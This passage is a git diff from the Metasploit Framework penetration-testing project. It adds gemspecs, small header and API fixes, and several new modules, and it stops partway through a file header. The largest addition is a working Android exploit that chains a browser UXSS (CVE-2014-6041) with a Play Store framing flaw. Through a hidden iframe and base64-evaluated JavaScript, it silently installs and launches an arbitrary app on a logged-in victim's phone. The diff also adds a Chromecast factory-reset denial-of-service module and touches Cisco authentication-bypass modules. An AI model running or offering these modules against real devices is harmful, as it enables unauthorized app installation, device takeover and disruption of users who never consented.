'metasploit/framework/version' +require 'metasploit/framework/rails_version_constraint' + +Gem::Specification.new do |spec| + spec.name = 'metasploit-framework-db' + spec.version = Metasploit::Framework::GEM_VERSION + spec.authors = ['Metasploit Hackers'] + spec.email = ['metasploit-hackers@lists.sourceforge.net'] + spec.summary = 'metasploit-framework Database dependencies' + spec.description = 'Gems needed to access the PostgreSQL database in metasploit-framework' + spec.homepage = 'https://www.metasploit.com' + spec.license = 'BSD-3-clause' + + # no files, just dependencies + spec.files = [] + + spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION + # Metasploit::Credential database models + spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.19' + # Database models shared between framework and Pro. + spec.add_runtime_dependency 'metasploit_data_models', '~> 0.22.8' + # depend on metasploit-framewrok as the optional gems are useless with the actual code + spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" + # Needed for module caching in Mdm::ModuleDetails + spec.add_runtime_dependency 'pg', '>= 0.11' +end diff --git a/metasploit-framework-full.gemspec b/metasploit-framework-full.gemspec new file mode 100644 index 0000000000..f3596ec32f --- /dev/null +++ b/metasploit-framework-full.gemspec @@ -0,0 +1,36 @@ +# coding: utf-8 + +# During build, the Gemfile is temporarily moved and +# we must manually define the project root +if ENV['MSF_ROOT'] + lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT'])) +else + # have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers + # require realpaths. + lib = File.realpath(File.expand_path('../lib', __FILE__)) +end + +$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) +require 'metasploit/framework/version' +require 'metasploit/framework/rails_version_constraint' + +Gem::Specification.new do |spec| + spec.name = 'metasploit-framework-full' + spec.version = Metasploit::Framework::GEM_VERSION + spec.authors = ['Metasploit Hackers'] + spec.email = ['metasploit-hackers@lists.sourceforge.net'] + spec.summary = 'metasploit-framework with all optional dependencies' + spec.description = 'Gems needed to access the PostgreSQL database in metasploit-framework' + spec.homepage = 'https://www.metasploit.com' + spec.license = 'BSD-3-clause' + + # no files, just dependencies + spec.files = [] + + metasploit_framework_version_constraint = "= #{spec.version}" + + spec.add_runtime_dependency 'rails', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION + spec.add_runtime_dependency 'metasploit-framework', metasploit_framework_version_constraint + spec.add_runtime_dependency 'metasploit-framework-db', metasploit_framework_version_constraint + spec.add_runtime_dependency 'metasploit-framework-pcap', metasploit_framework_version_constraint +end diff --git a/metasploit-framework-pcap.gemspec b/metasploit-framework-pcap.gemspec new file mode 100644 index 0000000000..d00e9720ce --- /dev/null +++ b/metasploit-framework-pcap.gemspec @@ -0,0 +1,35 @@ +# coding: utf-8 + +# During build, the Gemfile is temporarily moved and +# we must manually define the project root +if ENV['MSF_ROOT'] + lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT'])) +else + # have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers + # require realpaths. + lib = File.realpath(File.expand_path('../lib', __FILE__)) +end + +$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) +require 'metasploit/framework/version' + +Gem::Specification.new do |spec| + spec.name = 'metasploit-framework-pcap' + spec.version = Metasploit::Framework::GEM_VERSION + spec.authors = ['Metasploit Hackers'] + spec.email = ['metasploit-hackers@lists.sourceforge.net'] + spec.summary = 'metasploit-framework packet capture dependencies' + spec.description = 'Gems needed to capture packets in metasploit-framework' + spec.homepage = 'https://www.metasploit.com' + spec.license = 'BSD-3-clause' + + # no files, just dependencies + spec.files = [] + + # depend on metasploit-framewrok as the optional gems are useless with the actual code + spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" + # get list of network interfaces, like eth* from OS. + spec.add_runtime_dependency 'network_interface', '~> 0.0.1' + # For sniffer and raw socket modules + spec.add_runtime_dependency 'pcaprub' +end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec new file mode 100644 index 0000000000..4b2fd7850e --- /dev/null +++ b/metasploit-framework.gemspec @@ -0,0 +1,94 @@ +# coding: utf-8 + +# During build, the Gemfile is temporarily moved and +# we must manually define the project root +if ENV['MSF_ROOT'] + lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT'])) +else + # have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers + # require realpaths. + lib = File.realpath(File.expand_path('../lib', __FILE__)) +end + +$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) +require 'metasploit/framework/version' +require 'metasploit/framework/rails_version_constraint' + +Gem::Specification.new do |spec| + spec.name = 'metasploit-framework' + spec.version = Metasploit::Framework::GEM_VERSION + spec.authors = ['Metasploit Hackers'] + spec.email = ['metasploit-hackers@lists.sourceforge.net'] + spec.summary = 'metasploit-framework' + spec.description = 'metasploit-framework' + spec.homepage = 'https://www.metasploit.com' + spec.license = 'BSD-3-clause' + + spec.files = `git ls-files`.split($/).reject { |file| + file =~ /^config/ + } + spec.bindir = '.' + spec.executables = [ + 'msfbinscan', + 'msfcli', + 'msfconsole', + 'msfd', + 'msfelfscan', + 'msfencode', + 'msfmachscan', + 'msfpayload', + 'msfpescan', + 'msfrop', + 'msfrpc', + 'msfrpcd', + 'msfupdate', + 'msfvenom' + ] + spec.test_files = spec.files.grep(%r{^spec/}) + spec.require_paths = ["lib"] + + + # Need 3+ for ActiveSupport::Concern + spec.add_runtime_dependency 'activesupport', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION + # Needed for config.action_view for view plugin compatibility for Pro + spec.add_runtime_dependency 'actionpack', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION + # Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb) + spec.add_runtime_dependency 'bcrypt' + # Needed for Javascript obfuscation + spec.add_runtime_dependency 'jsobfu', '~> 0.2.0' + # Needed for some admin modules (scrutinizer_add_user.rb) + spec.add_runtime_dependency 'json' + # Metasploit::Concern hooks + spec.add_runtime_dependency 'metasploit-concern', '~> 0.3.0' + # Things that would normally be part of the database model, but which + # are needed when there's no database + spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0' + # Needed for Meterpreter on Windows, soon others. + spec.add_runtime_dependency 'meterpreter_bins', '0.0.14' + # Needed by msfgui and other rpc components + spec.add_runtime_dependency 'msgpack' + # Needed by anemone crawler + spec.add_runtime_dependency 'nokogiri' + # Needed by db.rb and Msf::Exploit::Capture + spec.add_runtime_dependency 'packetfu', '1.1.9' + # Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines + spec.add_runtime_dependency 'railties' + # required for OS fingerprinting + spec.add_runtime_dependency 'recog', '~> 1.0' + + # rb-readline doesn't work with Ruby Installer due to error with Fiddle: + # NoMethodError undefined method `dlopen' for Fiddle:Module + unless Gem.win_platform? + # Command line editing, history, and tab completion in msfconsole + spec.add_runtime_dependency 'rb-readline' + end + + # Needed by anemone crawler + spec.add_runtime_dependency 'robots' + # Needed by some modules + spec.add_runtime_dependency 'rubyzip', '~> 1.1' + # Needed for some post modules + spec.add_runtime_dependency 'sqlite3' + # required for Time::TZInfo in ActiveSupport + spec.add_runtime_dependency 'tzinfo' +end diff --git a/modules/auxiliary/admin/2wire/xslt_password_reset.rb b/modules/auxiliary/admin/2wire/xslt_password_reset.rb index 2d37d2d45c..a70efae31a 100644 --- a/modules/auxiliary/admin/2wire/xslt_password_reset.rb +++ b/modules/auxiliary/admin/2wire/xslt_password_reset.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -130,7 +130,8 @@ class Metasploit3 < Msf::Auxiliary }, 25) if res and res.code == 200 - if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/(.*); path=\//)) + cookies = res.get_cookies + if cookies && cookies.match(/(.*); path=\//) cookie= $1 print_status("Got cookie #{cookie}. Password reset was successful!\n") end diff --git a/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb new file mode 100644 index 0000000000..d3aed5b3dc --- /dev/null +++ b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb @@ -0,0 +1,184 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Android Browser RCE Through Google Play Store XFO', + 'Description' => %q{ + This module combines two vulnerabilities to achieve remote code + execution on affected Android devices. First, the module exploits + CVE-2014-6041, a Universal Cross-Site Scripting (UXSS) vulnerability present in + versions of Android's open source stock browser (the AOSP Browser) prior to + 4.4. Second, the Google Play store's web interface fails to enforce a + X-Frame-Options: DENY header (XFO) on some error pages, and therefore, can be + targeted for script injection. As a result, this leads to remote code execution + through Google Play's remote installation feature, as any application available + on the Google Play store can be installed and launched on the user's device. + + This module requires that the user is logged into Google with a vulnerable browser. + + To list the activities in an APK, you can use `aapt dump badging /path/to/app.apk`. + }, + 'Author' => [ + 'Rafay Baloch', # Original UXSS vulnerability + 'joev' # Play Store vector and Metasploit module + ], + 'License' => MSF_LICENSE, + 'Actions' => [[ 'WebServer' ]], + 'PassiveActions' => [ 'WebServer' ], + 'References' => [ + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/09/15/major-android-bug-is-a-privacy-disaster-cve-2014-6041'], + [ 'URL', 'http://1337day.com/exploit/description/22581' ], + [ 'OSVDB', '110664' ], + [ 'CVE', '2014-6041' ] + ], + 'DefaultAction' => 'WebServer' + )) + + register_options([ + OptString.new('PACKAGE_NAME', [ + true, + 'The package name of the app on the Google Play store you want to install', + 'com.swlkr.rickrolld' + ]), + OptString.new('ACTIVITY_NAME', [ + true, + 'The name of the activity in the apk to launch', + 'com.swlkr.rickrolld/.RickRoll' + ]), + OptBool.new('DETECT_LOGIN', [ + true, "Prevents the exploit from running if the user is not logged into Google", true + ]), + OptBool.new('HIDE_IFRAME', [ + true, "Hide the exploit iframe from the user", true + ]) + ], self.class) + end + + def on_request_uri(cli, request) + print_status("Request '#{request.method} #{request.uri}'") + + if request.method.downcase == 'post' + print_error request.body[0..400] + send_response_html(cli, '') + else + print_status("Sending initial HTML ...") + send_response_html(cli, exploit_html) + end + end + + def exploit_html + <<-EOS + <html> + <body> + <script> + + var APP_ID = '#{datastore['PACKAGE_NAME']}'; + var MAIN_ACTIVITY = '#{datastore['ACTIVITY_NAME']}'; + var HIDDEN_STYLE = '#{hidden_css}'; + + function exploit() { + + var src = 'https://play.google.com/store/apps/'+(new Array(2000)).join('aaaaaaa'); + var frame = document.createElement('iframe'); + frame.setAttribute('src', src); + frame.setAttribute('name', 'f'); + frame.setAttribute('style', HIDDEN_STYLE); + function uxss(src) { + window.open('\\u0000javascript:eval(atob("'+ btoa(src) +'"))', 'f'); + } + + var loaded = false; + frame.onload = function() { + if (loaded) return; + loaded = true; + setTimeout(function(){ + uxss('history.replaceState({},{},"/"); x=new XMLHttpRequest;x.open("GET", "/store/apps/details?id='+APP_ID+'");x.onreadystatechange=function(){'+ + 'if(x.readyState==4){ document.open("text/html"); document.write(x.responseText); document.close(); top.postMessage("1", "*") }};x.send();'); + }, 100); + }; + + var i1, i2; + var w = window; + window.onmessage = function(event) { + if (event.data === '1') { + i1 = w.setInterval(function(){ + uxss('document.body.innerHTML.match(/This app is compatible/).length; document.querySelector("button.price").click(); top.postMessage("2", "*");'); + }, 500); + } else if (event.data === '2') { + w.clearInterval(i1); + i2 = setInterval(function(){2 + uxss('document.querySelector("button.play-button.apps.loonie-ok-button").click(); top.postMessage("3", "*");'); + }, 500); + } else if (event.data === '3') { + clearInterval(i2); + setTimeout(function(){ + setInterval(function(){ + frame.src = 'intent:launch#Intent;SEL;component='+MAIN_ACTIVITY+';end'; + }, 500); + }, 1000); + } + } + + document.body.appendChild(frame); + } + + #{detect_login_js} + + </script> + + </body> + </html> + EOS + end + + def detect_login_js + if datastore['DETECT_LOGIN'] + %Q| + var img = document.createElement('img'); + img.onload = exploit; + img.onerror = function() { + var url = '#{backend_url}'; + var x = new XMLHttpRequest(); + x.open('POST', url); + x.send('Exploit failed: user is not logged into google.com') + }; + img.setAttribute('style', HIDDEN_STYLE); + var rand = '&d=#{Rex::Text.rand_text_alphanumeric(rand(12)+5)}'; + img.setAttribute('src', 'https://accounts.google.com/CheckCookie?continue=https%3A%2F%2Fwww.google.com%2Fintl%2Fen%2Fimages%2Flogos%2Faccounts_logo.png'+rand); + document.body.appendChild(img); + | + else + 'exploit();' + end + end + + def hidden_css + if datastore['HIDE_IFRAME'] + 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px;visibility:hidden;' + else + '' + end + end + + def backend_url + proto = (datastore["SSL"] ? "https" : "http") + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch" + end + + def run + exploit + end + +end diff --git a/modules/auxiliary/admin/appletv/appletv_display_image.rb b/modules/auxiliary/admin/appletv/appletv_display_image.rb new file mode 100644 index 0000000000..5b009c7889 --- /dev/null +++ b/modules/auxiliary/admin/appletv/appletv_display_image.rb @@ -0,0 +1,122 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apple TV Image Remote Control', + 'Description' => %q( + This module will show an image on an AppleTV device for a period of time. + Some AppleTV devices are actually password-protected, in that case please + set the PASSWORD datastore option. For password bruteforcing, please see + the module auxiliary/scanner/http/appletv_login. + ), + 'Author' => + [ + '0a29406d9794e4f9b30b3c5d6702c708', # Original work + 'sinn3r' # You can blame me for mistakes + ], + 'References' => + [ + ['URL', 'http://nto.github.io/AirPlay.html'] + ], + 'DefaultOptions' => { 'USERNAME' => 'AirPlay' }, + 'License' => MSF_LICENSE + )) + + # Make the PASSWORD option more visible and hope the user is more aware of this option + register_options([ + Opt::RPORT(7000), + OptInt.new('TIME', [true, 'Time in seconds to show the image', 10]), + OptPath.new('FILE', [true, 'Image to upload and show']), + OptString.new('PASSWORD', [false, 'The password for AppleTV AirPlay']) + ], self.class) + + # We're not actually using any of these against AppleTV in our Rex HTTP client init, + # so deregister them so we don't overwhelm the user with fake options. + deregister_options( + 'HTTP::uri_encode_mode', 'HTTP::uri_full_url', 'HTTP::pad_method_uri_count', + 'HTTP::pad_uri_version_count', 'HTTP::pad_method_uri_type', 'HTTP::pad_uri_version_type', + 'HTTP::method_random_valid', 'HTTP::method_random_invalid', 'HTTP::method_random_case', + 'HTTP::uri_dir_self_reference', 'HTTP::uri_dir_fake_relative', 'HTTP::uri_use_backslashes', + 'HTTP::pad_fake_headers', 'HTTP::pad_fake_headers_count', 'HTTP::pad_get_params', + 'HTTP::pad_get_params_count', 'HTTP::pad_post_params', 'HTTP::pad_post_params_count', + 'HTTP::uri_fake_end', 'HTTP::uri_fake_params_start', 'HTTP::header_folding', + 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2', 'NTLM::SendLM', 'NTLM::SendNTLM', + 'NTLM::SendSPN', 'NTLM::UseLMKey', 'DOMAIN', 'DigestAuthIIS', 'VHOST' + ) + end + + + # + # Sends an image request to AppleTV. HttpClient isn't used because we actually need to keep + # the connection alive so that the video can keep playing. + # + def send_image_request(opts) + http = nil + + http = Rex::Proto::Http::Client.new( + rhost, + rport.to_i, + { + 'Msf' => framework, + 'MsfExploit' => self + }, + ssl, + ssl_version, + proxies, + datastore['USERNAME'], + datastore['PASSWORD'] + ) + add_socket(http) + + http.set_config('agent' => datastore['UserAgent']) + + req = http.request_raw(opts) + res = http.send_recv(req) + + Rex.sleep(datastore['TIME']) if res.code == 200 + http.close + + res + end + + + def get_image_data + File.open(datastore['FILE'], 'rb') { |f| f.read(f.stat.size) } + end + + + def show_image + image = get_image_data + + opts = { + 'method' => 'PUT', + 'uri' => '/photo', + 'data' => image + } + + res = send_image_request(opts) + + if !res + print_status("The connection timed out") + elsif res.code == 200 + print_status("Received HTTP 200") + else + print_error("The request failed due to an unknown reason") + end + end + + + def run + print_status("Image request sent. Duration set: #{datastore['TIME']} seconds") + show_image + end +end diff --git a/modules/auxiliary/admin/appletv/appletv_display_video.rb b/modules/auxiliary/admin/appletv/appletv_display_video.rb new file mode 100644 index 0000000000..ff0370dc4a --- /dev/null +++ b/modules/auxiliary/admin/appletv/appletv_display_video.rb @@ -0,0 +1,157 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'uri' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apple TV Video Remote Control', + 'Description' => %q( + This module plays a video on an AppleTV device. Note that + AppleTV can be somewhat picky about the server that hosts the video. + Tested servers include default IIS, default Apache, and Ruby's WEBrick. + For WEBrick, the default MIME list may need to be updated, depending on + what media file is to be played. Python SimpleHTTPServer is not + recommended. Also, if you're playing a video, the URL must be an IP + address. Some AppleTV devices are actually password-protected; in that + case please set the PASSWORD datastore option. For password + bruteforcing, please see the module auxiliary/scanner/http/appletv_login. + ), + 'Author' => + [ + '0a29406d9794e4f9b30b3c5d6702c708', # Original work + 'sinn3r' # Make myself liable to mistakes since I made significant changes + ], + 'References' => + [ + ['URL', 'http://nto.github.io/AirPlay.html'] + ], + 'DefaultOptions' => { 'USERNAME' => 'AirPlay' }, + 'License' => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(7000), + OptInt.new('TIME', [true, 'Time in seconds to show the video', 60]), + OptString.new('URL', [true, 'URL of video to show. Must use an IP address']), + OptString.new('PASSWORD', [false, 'The password for AppleTV AirPlay']) + ], self.class) + + # We're not actually using any of these against AppleTV in our Rex HTTP client init, + # so deregister them so we don't overwhelm the user with fake options. + deregister_options( + 'HTTP::uri_encode_mode', 'HTTP::uri_full_url', 'HTTP::pad_method_uri_count', + 'HTTP::pad_uri_version_count', 'HTTP::pad_method_uri_type', 'HTTP::pad_uri_version_type', + 'HTTP::method_random_valid', 'HTTP::method_random_invalid', 'HTTP::method_random_case', + 'HTTP::uri_dir_self_reference', 'HTTP::uri_dir_fake_relative', 'HTTP::uri_use_backslashes', + 'HTTP::pad_fake_headers', 'HTTP::pad_fake_headers_count', 'HTTP::pad_get_params', + 'HTTP::pad_get_params_count', 'HTTP::pad_post_params', 'HTTP::pad_post_params_count', + 'HTTP::uri_fake_end', 'HTTP::uri_fake_params_start', 'HTTP::header_folding', + 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2', 'NTLM::SendLM', 'NTLM::SendNTLM', + 'NTLM::SendSPN', 'NTLM::UseLMKey', 'DOMAIN', 'DigestAuthIIS', 'VHOST' + ) + end + + + # + # Sends a video request to AppleTV. HttpClient isn't used because we actually need to keep + # the connection alive so that the video can keep playing. + # + def send_video_request(opts) + http = nil + + http = Rex::Proto::Http::Client.new( + rhost, + rport.to_i, + { + 'Msf' => framework, + 'MsfExploit' => self + }, + ssl, + ssl_version, + proxies, + datastore['USERNAME'], + datastore['PASSWORD'] + ) + add_socket(http) + + http.set_config('agent' => datastore['UserAgent']) + + req = http.request_raw(opts) + res = http.send_recv(req) + Rex.sleep(datastore['TIME']) if res.code == 200 + http.close + + res + end + + + # + # Checks the URI datastore option. AppleTV is sort of picky about the URI. It's better to + # always supply an IP instead of a domain. + # + def validate_source!(uri) + unless Rex::Socket.is_ipv4?(URI(uri).host) # Same trick in target_uri form HttpClient + raise Msf::OptionValidateError.new(['URL']) + end + end + + + # + # Plays a video as a new thread + # + def play_video_uri + uri = datastore['URL'] + validate_source!(uri) + + body = "Content-Location: #{uri}\n" + body << "Start-Position: 0.0\n" + + opts = { + 'method' => 'POST', + 'uri' => '/play', + 'headers' => { + 'Content-Length' => body.length.to_s, + 'Content-Type' => 'text/parameters' + }, + 'data' => body + } + + res = send_video_request(opts) + + if !res + print_status("The connection timed out") + elsif res.code == 200 + print_status("Received HTTP 200") + else + print_error("The request failed due to an unknown reason") + end + end + + + # + # Maybe it's just me not understanding the /stop API correctly, but when I send a request to + # /stop, it doesn't actually do anything. It is sort of possible to stop my video by looking + # through framework.threads.each {|t| puts t[:tm_name]}, and then kill the right thread. But + # if there are multiple appletv_display_video running, we don't seem to have a good way to + # kill the right thread we want. We could kill them all, but we shouldn't do that. So I'll + # just leave this method here, and then we'll think about how to do it later. + # + def stop_play + raise NotImplementedError + end + + + def run + print_status("Video request sent. Duration set: #{datastore['TIME']} seconds") + play_video_uri + end + +end diff --git a/modules/auxiliary/admin/backupexec/dump.rb b/modules/auxiliary/admin/backupexec/dump.rb index dd7f914774..7f76f33d07 100644 --- a/modules/auxiliary/admin/backupexec/dump.rb +++ b/modules/auxiliary/admin/backupexec/dump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary [ true, "The remote filesystem path to download", - "C:\\boot.ini" + "C:\\Windows\\win.ini" ] ), OptString.new('LPATH', diff --git a/modules/auxiliary/admin/backupexec/registry.rb b/modules/auxiliary/admin/backupexec/registry.rb index 999a81af50..171d2d7a04 100644 --- a/modules/auxiliary/admin/backupexec/registry.rb +++ b/modules/auxiliary/admin/backupexec/registry.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/chromecast/chromecast_reset.rb b/modules/auxiliary/admin/chromecast/chromecast_reset.rb new file mode 100644 index 0000000000..cd245599e9 --- /dev/null +++ b/modules/auxiliary/admin/chromecast/chromecast_reset.rb @@ -0,0 +1,58 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chromecast Factory Reset DoS', + 'Description' => %q{ + This module performs a factory reset on a Chromecast, causing a denial of service (DoS). + No user authentication is required. + }, + 'Author' => ['wvu'], + 'References' => [ + ['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website + ], + 'License' => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(8008) + ], self.class) + end + + def run + res = reset + + if res && res.code == 200 + print_good('Factory reset performed') + elsif res + print_error("An error occurred: #{res.code} #{res.message}") + end + end + + def reset + begin + send_request_raw( + 'method' => 'POST', + 'uri' => '/setup/reboot', + 'agent' => Rex::Text.rand_text_english(rand(42) + 1), + 'ctype' => 'application/json', + 'data' => '{"params": "fdr"}' + ) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable => e + fail_with(Failure::Unreachable, e) + ensure + disconnect + end + end + +end diff --git a/modules/auxiliary/admin/chromecast/chromecast_youtube.rb b/modules/auxiliary/admin/chromecast/chromecast_youtube.rb new file mode 100644 index 0000000000..5263d13b1f --- /dev/null +++ b/modules/auxiliary/admin/chromecast/chromecast_youtube.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chromecast YouTube Remote Control', + 'Description' => %q{ + This module acts as a simple remote control for Chromecast YouTube. + }, + 'Author' => ['wvu'], + 'References' => [ + ['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website + ], + 'License' => MSF_LICENSE, + 'Actions' => [ + ['Play', 'Description' => 'Play video'], + ['Stop', 'Description' => 'Stop video'] + ], + 'DefaultAction' => 'Play' + )) + + register_options([ + Opt::RPORT(8008), + OptString.new('VID', [true, 'Video ID', 'kxopViU98Xo']) + ], self.class) + end + + def run + vid = datastore['VID'] + + case action.name + when 'Play' + res = play(vid) + when 'Stop' + res = stop + end + + return unless res + + case res.code + when 201 + print_good("Playing https://www.youtube.com/watch?v=#{vid}") + when 200 + print_status('Stopping video') + when 404 + print_error("Couldn't #{action.name.downcase} video") + end + end + + def play(vid) + begin + send_request_cgi( + 'method' => 'POST', + 'uri' => '/apps/YouTube', + 'agent' => Rex::Text.rand_text_english(rand(42) + 1), + 'vars_post' => { + 'v' => vid + } + ) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable => e + fail_with(Failure::Unreachable, e) + ensure + disconnect + end + end + + def stop + begin + send_request_raw( + 'method' => 'DELETE', + 'uri' => '/apps/YouTube', + 'agent' => Rex::Text.rand_text_english(rand(42) + 1) + ) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable => e + fail_with(Failure::Unreachable, e) + ensure + disconnect + end + end + +end diff --git a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb index e0362290f1..6d93c9e626 100644 --- a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb +++ b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit4 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Cisco Secure ACS Version < 5.1.0.44.5 or 5.2.0.26.2 Unauthorized Password Change', + 'Name' => 'Cisco Secure ACS Unauthorized Password Change', 'Description' => %q{ This module exploits an authentication bypass issue which allows arbitrary password change requests to be issued for any user in the local store. diff --git a/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb b/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb index e7591a5129..a6e7986eea 100644 --- a/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb +++ b/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -50,21 +50,21 @@ class Metasploit3 < Msf::Auxiliary print_status("Attempting to create directory: MKD #{test}") sock.put("MKD #{test}\r\n") - res = sock.get(-1,5) + res = sock.get_once(-1,5) if (res =~/257 MKD command successful\./) print_status("\tDirectory #{test} reportedly created. Verifying with SIZE #{test}") sock.put("SIZE #{test}\r\n") - res = sock.get(-1,5) + res = sock.get_once(-1,5) if (res =~ /550 Not a regular file/) print_status("\tServer reports \"not a regular file\". Directory verified.") print_status("\tAttempting to delete directory: RMD #{test}") sock.put("RMD #{test}\r\n") - res = sock.get(-1,5) + res = sock.get_once(-1,5) if (res =~ /250 RMD command successful\./) print_status("\tDirectory #{test} reportedly deleted. Verifying with SIZE #{test}") sock.put("SIZE #{test}\r\n") - res = sock.get(-1,5) + res = sock.get_once(-1,5) print_status("\tDirectory #{test} no longer exists!") print_status("Target is confirmed as vulnerable!") end diff --git a/modules/auxiliary/admin/db2/db2rcmd.rb b/modules/auxiliary/admin/db2/db2rcmd.rb index 1c65a64771..29794670ca 100644 --- a/modules/auxiliary/admin/db2/db2rcmd.rb +++ b/modules/auxiliary/admin/db2/db2rcmd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb b/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb index 63776a4527..ce62291515 100644 --- a/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb +++ b/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb b/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb index bd07281f2d..9fbc5aff7d 100644 --- a/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb +++ b/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb b/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb index 3ffd95bef6..e2970315f0 100644 --- a/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb +++ b/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb 